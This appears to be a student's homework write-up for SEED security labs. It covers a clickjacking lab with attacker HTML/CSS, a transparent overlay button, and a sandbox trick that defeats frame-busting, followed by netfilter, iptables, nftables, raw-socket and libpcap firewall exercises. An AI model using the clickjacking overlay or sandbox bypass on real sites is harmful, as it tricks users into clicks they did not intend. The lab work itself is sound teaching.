Try   HackMD

Information Security hw6

6.1 SEED Lab

3.1 Task 1: Copy that site!

attacker.html

<body>
    <!-- TODO: place your iframe HERE (Task 1) -->
    <iframe src="http://www.cjlab.com"></iframe>

    <!-- The malicious button's html code has already been provided for you. 
        Note that the button code must come after iframe code-->
    <button onclick="window.location.href = 'hacked.html';">Malicious Button</button>
</body>

attacker.css

iframe {
    /* TODO: add iframe css here (Task 1) */
    height: 100vh;
    width: 100vw;                                                                                        
    border: none;
    position: absolute;
}

button{
    /* Given button code for size and shape. You do not need to edit this. */
    position: absolute;
    border: none;
    color: white;
    padding: 35px 35px;
    text-align: center;
    font-size: 40px;
    border-radius: 15px;
    /* end of given button code */


    /* TODO: edit/add attributes below for the malicious button (Task 2) */
    /* You will want to change the button's position on the page and 
       make the button transparent */
    color: white;  /* font color */
    background-color: blue;  /* button's background color */
}

把長寬設成最大值,然後 position 是 absolute 就好了。
Question:

  1. With the iframe inserted, what does the attacker’s website look like?
    image

3.2 Task 2: Let’s Get Clickjacking!

button{
    /* Given button code for size and shape. You do not need to edit this. */
    position: absolute;
    border: none; 
    color: white; 
    padding: 35px 35px;
    text-align: center;
    font-size: 40px;
    border-radius: 15px;
    /* end of given button code */


    /* TODO: edit/add attributes below for the malicious button (Task 2) */
    /* You will want to change the button's position on the page and 
       make the button transparent */
    color: transparent;  /* font color */                                                                                                                          
    background-color: transparent;  /* button's background color */
    margin-left: 2vw;
    margin-top: 38vh;
  }

修改成 transparent 就看不到了,然後調整一下 margin 。

Questions:
2. How does the appearance of the attacker’s site compare to that of the defender’s site?

image
3. What happens when you click on the “Explore Menu” button on the attacker’s site?
It will trigger "You Have Been Hacked!!"
image

4. Describe an attack scenario in which the style of clickjacking implemented for this Task leads to undesirable consequences for a victim user.
可能有人只是想要點擊 Explore Menu ,結果卻觸發另一個按鈕,而造成連結到其他的 malicious website 。

3.3 Task 3: Bust That Frame!

function makeThisFrameOnTop() {
    // TODO: write a frame-busting function according to
    // instructions (Task 3)
    if(window.top !== window.self){
        window.top.location = window.self.location.href;         
    }
}

如果 top 不是自己,就會把 top 設定成自己。
Questions:
5. What happens when you navigate to the attacker’s site now?

image
雖然進入 http://www.cjlab-attacker.com 但會自動導到 http://www.cjlab.com/
6. What happens when you click the button?
就跟原本沒有 clijacking 一樣,不會發生被攻擊。

3.4 Task 4: Attacker Countermeasure (Bust the Buster)

image

<iframe src="http://www.cjlab.com" sandbox="allow-forms allow-scripts"></iframe>

allow-scripts:允許 defender 的 JS 執行(否則整個站會掛掉)
但是不包含 allow-top-navigation ,這樣就能阻止 defender 的 JS 嘗試跳出 iframe
7. What does the sandbox attribute do? Why does this prevent the frame buster from working?
它可以限制 iframe 裡面內容能做什麼(例如禁止彈出視窗、執行 JavaScript、改變父頁面等)。
8. What happens when you navigate to the attacker’s site after updating the iframe to use the sandbox attribute?
就變成原本的 attacker 的網站了,原本的 top 是否等於 self 的那個 script 就沒有用了

  1. What happens when you click the button on the attacker’s site?
    就會導到 malicious website 了。
    image

3.5 Task 5: The Ultimate Bust

image
Questions:
10. What is the X-Frame-Options HTTP header attribute, and why is it set to “DENY” to prevent the
attack?
完全不允許這頁被嵌入 iframe ,即使 attacker 加了 sandbox,瀏覽器會直接不顯示內容

  1. What is the Content-Security-Policy header attribute, and why is it set to “frame-ancestors ‘none’ ” to prevent the attack?
    控制「誰可以當你的 iframe 父頁面」,它會指定誰可以用 <iframe>, <frame>, <object> 來載入你的網頁。
  2. What happens when you navigate to the attacker’s site after modifying each response header (one at a time)? What do you see when you click the button?
    因為我們加入了 X-Frame-Options 和 CSP 的防護,現在我電腦的 firefox 直接不給我進去網站裡面了
    image

6.2 SEED Lab

image
這是我們這題用到的 container 。

Task 1.A: Implement a Simple Kernel Module

image
image

Task 1.B: Implement a Simple Firewall Using Netfilter

Screenshot 2025-05-29 at 1.31.25 PM
1.
Screenshot 2025-05-29 at 1.32.26 PM

2.
Screenshot 2025-05-29 at 1.49.37 PM

Screenshot 2025-05-29 at 1.51.13 PM

我們可以直接送 ping 道 google.com

int registerFilter(void) {
   printk(KERN_INFO "Registering filters.\n");

   hook1.hook = printInfo;
   hook1.hooknum = NF_INET_LOCAL_OUT;
   hook1.pf = PF_INET;
   hook1.priority = NF_IP_PRI_FIRST;
   nf_register_net_hook(&init_net, &hook1);

   hook2.hook = printInfo;
   hook2.hooknum = NF_INET_POST_ROUTING;
   hook2.pf = PF_INET;
   hook2.priority = NF_IP_PRI_FIRST;
   nf_register_net_hook(&init_net, &hook2);

   hook3.hook = printInfo;
   hook3.hooknum = NF_INET_FORWARD;
   hook3.pf = PF_INET;
   hook3.priority = NF_IP_PRI_FIRST;
   nf_register_net_hook(&init_net, &hook3);

   hook4.hook = printInfo;
   hook4.hooknum = NF_INET_LOCAL_IN;
   hook4.pf = PF_INET;
   hook4.priority = NF_IP_PRI_FIRST;
   nf_register_net_hook(&init_net, &hook4);

   hook5.hook = printInfo;
   hook5.hooknum = NF_INET_PRE_ROUTING;
   hook5.pf = PF_INET;
   hook5.priority = NF_IP_PRI_FIRST;
   nf_register_net_hook(&init_net, &hook5);
   // hook2.hook = blockUDP;
   // hook2.hooknum = NF_INET_POST_ROUTING;
   // hook2.pf = PF_INET;
   // hook2.priority = NF_IP_PRI_FIRST;
   // nf_register_net_hook(&init_net, &hook2);

   return 0;
}

void removeFilter(void) {
   printk(KERN_INFO "The filters are being removed.\n");
   nf_unregister_net_hook(&init_net, &hook1);
   nf_unregister_net_hook(&init_net, &hook2);
   nf_unregister_net_hook(&init_net, &hook3);
   nf_unregister_net_hook(&init_net, &hook4);
   nf_unregister_net_hook(&init_net, &hook5);
}

這是 drop 掉 ICMP

Screenshot 2025-05-29 at 3.48.16 PM
Screenshot 2025-05-29 at 3.47.26 PM

這是 drop 掉 Telnet
Screenshot 2025-05-29 at 3.50.27 PM

Screenshot 2025-05-29 at 3.48.51 PM
以下是 code

#include <linux/kernel.h> #include <linux/module.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/udp.h> #include <linux/icmp.h> #include <linux/if_ether.h> #include <linux/inet.h> static struct nf_hook_ops hook1, hook2; unsigned int blockPing(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { struct iphdr *iph; struct icmphdr *icmph; // u16 port = 23; char ip[16] = "10.9.0.1"; u32 ip_addr; if (!skb) return NF_ACCEPT; iph = ip_hdr(skb); // Convert the IPv4 address from dotted decimal to 32-bit binary in4_pton(ip, -1, (u8 *)&ip_addr, '\0', NULL); if (iph->protocol == IPPROTO_ICMP) { icmph = icmp_hdr(skb); if (iph->daddr == ip_addr && icmph->type == ICMP_ECHO){ printk(KERN_WARNING "*** Dropping %pI4 (ICMP)\n", &(iph->daddr)); return NF_DROP; } } return NF_ACCEPT; } unsigned int blockTelnet(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { struct iphdr *iph; struct tcphdr *tcph; u16 port = 23; char ip[16] = "10.9.0.1"; u32 ip_addr; if (!skb) return NF_ACCEPT; iph = ip_hdr(skb); // Convert the IPv4 address from dotted decimal to 32-bit binary in4_pton(ip, -1, (u8 *)&ip_addr, '\0', NULL); if (iph->protocol == IPPROTO_TCP) { tcph = tcp_hdr(skb); if (iph->daddr == ip_addr && ntohs(tcph->dest) == port){ printk(KERN_WARNING "*** Dropping %pI4 (Telnet), port %d\n", &(iph->daddr), port); return NF_DROP; } } return NF_ACCEPT; } unsigned int printInfo(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) { struct iphdr *iph; char *hook; char *protocol; switch (state->hook){ case NF_INET_LOCAL_IN: hook = "LOCAL_IN"; break; case NF_INET_LOCAL_OUT: hook = "LOCAL_OUT"; break; case NF_INET_PRE_ROUTING: hook = "PRE_ROUTING"; break; case NF_INET_POST_ROUTING: hook = "POST_ROUTING"; break; case NF_INET_FORWARD: hook = "FORWARD"; break; default: hook = "IMPOSSIBLE"; break; } printk(KERN_INFO "*** %s\n", hook); // Print out the hook info iph = ip_hdr(skb); switch (iph->protocol){ case IPPROTO_UDP: protocol = "UDP"; break; case IPPROTO_TCP: protocol = "TCP"; break; case IPPROTO_ICMP: protocol = "ICMP"; break; default: protocol = "OTHER"; break; } // Print out the IP addresses and protocol printk(KERN_INFO " %pI4 --> %pI4 (%s)\n", &(iph->saddr), &(iph->daddr), protocol); return NF_ACCEPT; } int registerFilter(void) { printk(KERN_INFO "Registering filters.\n"); hook1.hook = blockPing; hook1.hooknum = NF_INET_PRE_ROUTING; hook1.pf = PF_INET; hook1.priority = NF_IP_PRI_FIRST; nf_register_net_hook(&init_net, &hook1); hook2.hook = blockTelnet; hook2.hooknum = NF_INET_PRE_ROUTING; hook2.pf = PF_INET; hook2.priority = NF_IP_PRI_FIRST; nf_register_net_hook(&init_net, &hook2); return 0; } void removeFilter(void) { printk(KERN_INFO "The filters are being removed.\n"); nf_unregister_net_hook(&init_net, &hook1); nf_unregister_net_hook(&init_net, &hook2); } module_init(registerFilter); module_exit(removeFilter); MODULE_LICENSE("GPL");

4.3 Task 2.A: Protecting the Router

Screenshot 2025-05-29 at 4.53.49 PM
Screenshot 2025-05-29 at 4.54.26 PM

  1. Yes, I can ping router
  2. No, I can't telnet into router
    我們可以看到上面的指令讓我們可以 ping router ,但把 telnet 擋掉了。

4.4 Task 2.B: Protecting the Internal Network

按照下面去輸入:

$ iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
$ iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT
$ iptables -P FORWARD DROP
$ iptables -A FORWARD -i eth0 -p icmp --icmp-type echo-reply -j ACCEPT
$ iptables -A FORWARD -i eth1 -p icmp --icmp-type echo-request -j ACCEPT
  1. Outside hosts cannot ping internal hosts.

    Screenshot 2025-05-29 at 6.14.59 PM
    可以看到我們沒辦法從外面 ping 到 internal hosts 。

  2. Outside hosts can ping the router.

    Screenshot 2025-05-29 at 6.11.03 PM
    可以 ping router ip 。

  3. Internal hosts can ping outside hosts.

    Screenshot 2025-05-29 at 6.22.05 PM
    我們在 192.168.60.6 container 裡面是可以 ping 到外面的

  4. All other packets between the internal and external networks should be blocked.

    Screenshot 2025-05-29 at 6.25.11 PM
    這張是外部沒辦法送進來
    Screenshot 2025-05-29 at 6.27.05 PM

    這張是內部沒辦法送出去
    可以看到其他的封包都必須被 block 住。

Task 2.C: Protecting Internal Servers

$ iptables -A FORWARD -i eth0 -p tcp -d 192.168.60.5 --dport 23 -j ACCEPT
$ iptables -A FORWARD -i eth1 -p tcp -s 192.168.60.5 --sport 23 -j ACCEPT
$ iptables -P FORWARD DROP

Screenshot 2025-05-29 at 6.38.07 PM
Screenshot 2025-05-29 at 6.41.57 PM

可以看到只能 telnet 192.168.60.5 ,但不能 telnet 192.168.60.6 和 192.168.60.7
Screenshot 2025-05-29 at 6.43.44 PM

可以看到可以對自己內部的 machine telnet ,但不能對外部的 telnet 。

Task 3.A: Experiment with the Connection Tracking

  1. ICMP experiment:

    image
    ping 之前是沒有 connection tracking 的。
    image

    在 ping 的過程是有 connection tracking 的。
    image

    ping 結束的那個時刻也是有的。
    image

    但再過一陣子就沒有 connection tracking 了。

  2. UDP experiment:

    image
    發送訊息前是沒有 connection tracking ,但發送之後就有了,但隔了大概 30 秒做左右又沒有 connection tracking 了。

  3. TCP experiment:

    image
    TCP 比較有趣,還沒連線錢是沒有的,但是一旦建立連線就會有 connection tracking ,一直到結束過後一兩分鐘才會沒有 connection tracking ,如同老師上課說的,TCP 即使結束,它還要一點時間才能把狀態恢復,所以要等一段時間是正常的。

Task 3.B: Setting Up a Stateful Firewall

$ iptables -A FORWARD -i eth0 -p tcp -d 192.168.60.5 --dport 23 --syn -m conntrack --ctstate NEW -j ACCEPT
$ iptables -A FORWARD -i eth1 -p tcp --syn -m conntrack --ctstate NEW -j ACCEPT
$ iptables -A FORWARD -p tcp -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
$ iptables -A FORWARD -p tcp -j DROP
$ iptables -P FORWARD ACCEPT

image

image
與 2.c 不同,現在我們是可以從裡面連出來的

Task 4: Limiting Network Traffic

$ iptables -A FORWARD -s 10.9.0.5 -m limit \
--limit 10/minute --limit-burst 5 -j ACCEPT
$ iptables -A FORWARD -s 10.9.0.5 -j DROP

image
在沒有第二行的情況下,我們傳送速率感覺上是沒有被限制的,還是很快

image
但加上第二行的時候,速度很明顯的被限制了,一開始還有點快,但後面就變緩慢了。
因為沒有第二條指令的時候不知道要怎麼處理超過限制的 packet ,就按照 default 的方式去傳。
有了第二條指令之後就將超過限制的 packet 丟掉了。

Task 5: Load Balancing

這裡是要做負載平衡
第一種是用均勻分配的機制

$ iptables -t nat -A PREROUTING -p udp --dport 8080 \
-m statistic --mode nth --every 3 --packet 0 \
-j DNAT --to-destination 192.168.60.5:8080
$ iptables -t nat -A PREROUTING -p udp --dport 8080 \
-m statistic --mode nth --every 2 --packet 0 \
-j DNAT --to-destination 192.168.60.6:8080
$ iptables -t nat -A PREROUTING -p udp --dport 8080 \
-m statistic --mode nth --every 1 --packet 0 \
-j DNAT --to-destination 192.168.60.7:8080

image
可以看到我們可以均勻的分配到 192.168.60.5, 192.168.60.6, 192.168.60.7 這幾個機器上面
我們只需要調整 --every <num> 以及最後的 destination 的 ip 就可以了。
第二種是機率分配的機制

$ iptables -t nat -A PREROUTING -p udp --dport 8080 \
-m statistic --mode random --probability 0.1 \
-j DNAT --to-destination 192.168.60.5:8080
$ iptables -t nat -A PREROUTING -p udp --dport 8080 \
-m statistic --mode random --probability 0.3 \
-j DNAT --to-destination 192.168.60.6:8080
$ iptables -t nat -A PREROUTING -p udp --dport 8080 \
-m statistic --mode random --probability 0.6 \
-j DNAT --to-destination 192.168.60.7:8080

image
image

image

image

image

可以看到就是靠機率去分配,我們要修改的就是 --probability P 後面的機率數值,以及 destination 要送到哪一個 ip 就可以了
我們就完成了

6.3 nftables

  1. Allow SSH connection from the WAN interface and redirect the packet
    to some LAN computer.
    建立 Docker 網路
docker network create --subnet=192.168.100.0/24 wan_net
docker network create --subnet=10.0.0.0/24 lan_net

建立 gateway container(兩張網卡)

docker run -it --rm --name gateway --network=wan_net --ip=192.168.100.2 \
  --privileged --cap-add=NET_ADMIN --cap-add=SYS_MODULE \
  --network-alias=gateway debian bash
docker network connect --ip=10.0.0.254 lan_net gateway

進入 gateway container 的 shell

apt update
apt install -y iproute2 iputils-ping nftables openssh-client

建立 LAN container(要被轉發過來的目標機器)

docker run -it --rm --name lan --network=lan_net --ip=10.0.0.2 \
  --privileged debian bash

在 LAN container 裡安裝並啟動 SSH server

apt update
apt install -y openssh-server
service ssh start
passwd

在 gateway container 裡設定 nftables

nft flush ruleset

# 新增 filter 表和 chain
nft add table ip filter
nft add chain ip filter input { type filter hook input priority 0 \; policy drop \; }
nft add chain ip filter forward { type filter hook forward priority 0 \; policy drop \; }

# 允許從 WAN interface (eth0) 進來的 SSH
nft add rule ip filter input iifname "eth0" tcp dport 22 ct state new,established accept
nft add rule ip filter forward iifname "eth0" tcp dport 22 oifname "eth1" ct state new,established accept
nft add rule ip filter forward iifname "eth1" ct state established,related accept

# 設定 NAT:轉送 22 port 到 LAN container (10.0.0.2:22)
nft add table ip nat
nft add chain ip nat prerouting { type nat hook prerouting priority -100 \; }
nft add chain ip nat postrouting { type nat hook postrouting priority 100 \; }

nft add rule ip nat prerouting iifname "eth0" tcp dport 22 dnat to 10.0.0.2:22
nft add rule ip nat postrouting oifname "eth1" masquerade

從 host 連線

ssh root@192.168.100.2

會連到 LAN container!
2. Allow TCP dst port 80 and 8080 from the WAN interface.

# 允許 TCP port 80 從 eth0 進來
nft add rule ip filter input iifname "eth0" tcp dport 80 ct state new,established accept
nft add rule ip filter forward iifname "eth0" tcp dport 80 oifname "eth1" ct state new,established accept

# 允許 TCP port 8080 從 eth0 進來
nft add rule ip filter input iifname "eth0" tcp dport 8080 ct state new,established accept
nft add rule ip filter forward iifname "eth0" tcp dport 8080 oifname "eth1" ct state new,established accept

# 回應封包允許從 LAN 回來
nft add rule ip filter forward iifname "eth1" ct state established,related accept

測試 port 80 和 8080 是否成功被允許,可以在 LAN container 裡跑一個 HTTP server:

apt install -y python3
python3 -m http.server 80 &
python3 -m http.server 8080 &

並在 host 上測試

curl http://192.168.100.2:80
curl http://192.168.100.2:8080
  1. Network Address Translation

  2. Default: Drop all coming packets from the WAN interface.

6.4 Packet Filter through RAW Socket

docker network create --subnet=192.168.2.0/24 raw_socket_net

docker run -itd --name host1 --net raw_socket_net --ip 192.168.2.1 ubuntu
docker run -itd --name host2 --net raw_socket_net --ip 192.168.2.3 ubuntu
docker run -itd --name host3 --net raw_socket_net --ip 192.168.2.4 ubuntu
docker run -itd --name filter --net raw_socket_net --cap-add=NET_RAW ubuntu

進到 filter container

docker exec -it filter bash
apt update && apt install -y gcc tcpdump

Raw Socket 的 code 。
命名成 packet_filter.c

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/udp.h> #define ALLOWED_SRC_IP "192.168.2.4" #define ALLOWED_DST_IP "192.168.2.1" #define BLOCKED_SRC_IP "192.168.2.3" #define BLOCKED_DST_IP "192.168.2.1" int create_raw_socket() { int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) { perror("socket"); exit(EXIT_FAILURE); } return sock; } void process_packet(int sock) { unsigned char buffer[65536]; struct sockaddr_in source, dest; int data_size; while (1) { data_size = recvfrom(sock, buffer, sizeof(buffer), 0, NULL, NULL); if (data_size < 0) { perror("recvfrom"); exit(EXIT_FAILURE); } // Get IP header struct iphdr *ip_header = (struct iphdr*)(buffer + sizeof(struct ethhdr)); memset(&source, 0, sizeof(source)); source.sin_addr.s_addr = ip_header->saddr; memset(&dest, 0, sizeof(dest)); dest.sin_addr.s_addr = ip_header->daddr; char src_ip[INET_ADDRSTRLEN]; char dst_ip[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &(source.sin_addr), src_ip, INET_ADDRSTRLEN); inet_ntop(AF_INET, &(dest.sin_addr), dst_ip, INET_ADDRSTRLEN); printf("Packet received: %s -> %s\n", src_ip, dst_ip); // Check if packet is from blocked source to blocked destination if (strcmp(src_ip, BLOCKED_SRC_IP) == 0 && strcmp(dst_ip, BLOCKED_DST_IP) == 0) { printf("BLOCKED: Packet from %s to %s\n", src_ip, dst_ip); continue; // Skip forwarding } // Check if packet is from allowed source to allowed destination if (strcmp(src_ip, ALLOWED_SRC_IP) == 0 && strcmp(dst_ip, ALLOWED_DST_IP) == 0) { printf("ALLOWED: Packet from %s to %s\n", src_ip, dst_ip); // Forward the packet (in a real implementation, you would send it) } // For other packets, you can decide to forward or block // In this example, we'll forward them printf("Forwarding packet: %s -> %s\n", src_ip, dst_ip); } } int main() { printf("Starting packet filter...\n"); printf("Configuration:\n"); printf(" Allowed: %s -> %s\n", ALLOWED_SRC_IP, ALLOWED_DST_IP); printf(" Blocked: %s -> %s\n", BLOCKED_SRC_IP, BLOCKED_DST_IP); int sock = create_raw_socket(); process_packet(sock); close(sock); return 0; }
gcc packet_filter.c -o packet_filter

因為 Raw socket 所以要用 root 跑

./packet_filter

最後去做測試

# From host2 (192.168.2.3) - should be blocked
docker exec -it host2 /bin/bash
ping 192.168.2.1

# From host3 (192.168.2.4) - should be allowed
docker exec -it host3 /bin/bash
ping 192.168.2.1

6.5 libpcap

由於我家裡沒有乙太網路,我都是用電腦的無線網卡連接手機的個人熱點,所以我沒辦法使用 eth0 和 eth1 之類的乙太網路網卡界面。
因此若助教您要測試可能需要有無線網卡,我的無線網卡是

3: wlp4s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 70:cf:49:61:58:96 brd ff:ff:ff:ff:ff:ff

我會直接 assign 在我的程式裡面

image
上面是我的 output
要使用我的程式只需要

$ make
$ sudo ./hw0605

之後就可以成功攔截 DHCP 封包。
如果發現沒有攔截到任何封包,可以嘗試

$ sudo dhclient -r && sudo dhclient

這樣我們就完成這一題了